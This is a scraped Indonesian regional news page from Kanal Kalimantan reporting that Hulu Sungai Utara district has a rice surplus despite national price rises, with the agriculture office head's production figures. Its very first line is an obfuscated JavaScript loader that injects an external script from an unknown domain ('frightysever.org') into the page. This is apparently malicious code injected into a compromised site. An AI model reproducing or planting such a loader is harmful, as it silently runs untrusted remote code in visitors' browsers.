(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HSU Tak Terganggu Harga Beras Naik, Stok Beras Malah Surplus


AMUNTAI, Harga beras naik lantaran stok persediaan berkurang kabar pemberitaan nasional dalam dua pekan ini. Namun kondisi tersebut tidak membuat stok persediaan beras di Kabupaten Hulu Sungai Utara (HSU) terganggu. Karena selama ini hasil produksi pertanian di Kabupaten HSU terus mengalami peningkatan.

Meski demikian, hasil pertanian tanaman padi di wilayah HSU selalu dihadapkan dengan beberapa masalah lain diantaranya masalah banjir dan musim hujan yang terbilang panjang diluar perkiraan.

Kepala Dinas Pertanian Kabupaten HSU Ir Ilman Hadi mengatakan, selama ini pemerintah daerah tidak terlalu khawatir mengenai kenaikan harga beras di pasaran. Pemerintah daerah melalui Dinas Pertanian terus berupaya untuk menaikkan jumlah produksi padi, dengan kenaikan produksi tersebut persediaan beras di HSU selalu stabil sehingga harga dipasaran tidak melambung.

“Produksi padi kita terus meningkat, sehingga persediaan beras selalu ada dan harga dipasaran tidak akan naik, karena harga pasar biasanya tergantung pada suplai beras itu,” kata Ilman Hadi kepada Kanal Kalimantan usai menggelar pertemuan bersama Perhimpunan Penyuluh Pertanian Indonesia Kabupaten HSU, Rabu (17/1).

Hanya saja yang menjadi permasalahan di wilayah HSU selama ini masyarakat tidak hanya mengkonsumsi beras lokal unggul tetapi juga biasanya mereka mengkonsumsi beras lokal unggul lain seperti siam unus yang tidak bisa budidayakan di wilayah Kabupaten HSU.

Selama ini kebutuhan beras untuk Kabupaten HSU sendiri mencapai 25.000 sampai 30.000 ton pertahun, sedangkan hasil produksi pertanian padi mencapai 70.000 sampai 80.000 ton pertahun. “Sehingga pertanian padi di Kabupaten HSU mengalami surplus, yang hasilnya melebihi kebutuhan beras itu sendiri,” kata Ilman.

Surplus beras tersebut sehingga banyak beras hasil produksi Kabupaten HSU diekspor keluar daerah seperti Kalteng maupun Kaltim.

Kendati surplus kenaikan hasil pertanian padi selama ini mengalami peningkatan yang tidak signifikan dari tahun 2016 ke tahun 2017, dikarenakan berbagai permasalan seperti periode banjir yang terbilang cukup lama.

“Para petani tidak dapat memanfaatkan kondisi iklim yang tidak kondusif tersebut,” kata Ilman.

Pihaknya berharap pemanfaatan lahan lebak, para petani dapat meningkatkan hasil panen tiap tahun. “Tidak hanya sekali namun dapat dua atau kalau bisa tiga kali pertahun,” pungkas Ilman.(dewahyudi)

Reporter: Dewahyudi
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Kepemimpinan Saidi Mansyur – Habib Idrus Kembali Raih Penghargaan Wahana Tata Nugraha

KANALKALIMANTAN.COM, JAKARTA - Di bawah pimpinan H Saidi Mansyur dan Habib Idrus Al Habsyi Kabupaten… Read More

9 jam ago

Tak Bisa Bedakan Mana Warung Mana Ballroom

KANALKALIMANTAN.COM, BANJARBARU - Ibu guru Amalia Wahyuni, seorang tenaga pengajar SMK di Kota Banjarbaru menegur… Read More

11 jam ago

Wali Kota Banjarbaru Terima Wahana Tata Nugraha 2024 dari Kemenhub

KANALKALIMANTAN.COM, BANJARBARU – Tiga hari berturut-turut Wali Kota Banjarbaru Aditya Mufti Ariffin mendapat penghargaan tingkat… Read More

13 jam ago

PAFI Gunungkidul: Inisiatif Edukasi Masyarakat tentang Penggunaan Obat yang Tepat

KANALKALIMANTAN.COM - Penggunaan obat yang tepat merupakan aspek yang sangat penting dalam menjaga kesehatan seseorang.… Read More

14 jam ago

Dua Kasus Suspek Cacar Monyet di Banjarbaru Negatif

KANALKALIMANTAN.COM, BANJARBARU - Hasil identifikasi kasus suspek (terduga) monkeypox (Mpox) atau cacar monyet di Kota… Read More

14 jam ago

Rancangan APBD 2025 Kota Banjarbaru Selesai Sebelum Pelantikan Anggota DPRD

KANALKALIMANTAN.COM, BANJARBARU - Rancangan Anggaran Pendapatan dan Belanja Daerah (APBD) tahun anggaran 2025 Kota Banjarbaru… Read More

16 jam ago

This website uses cookies.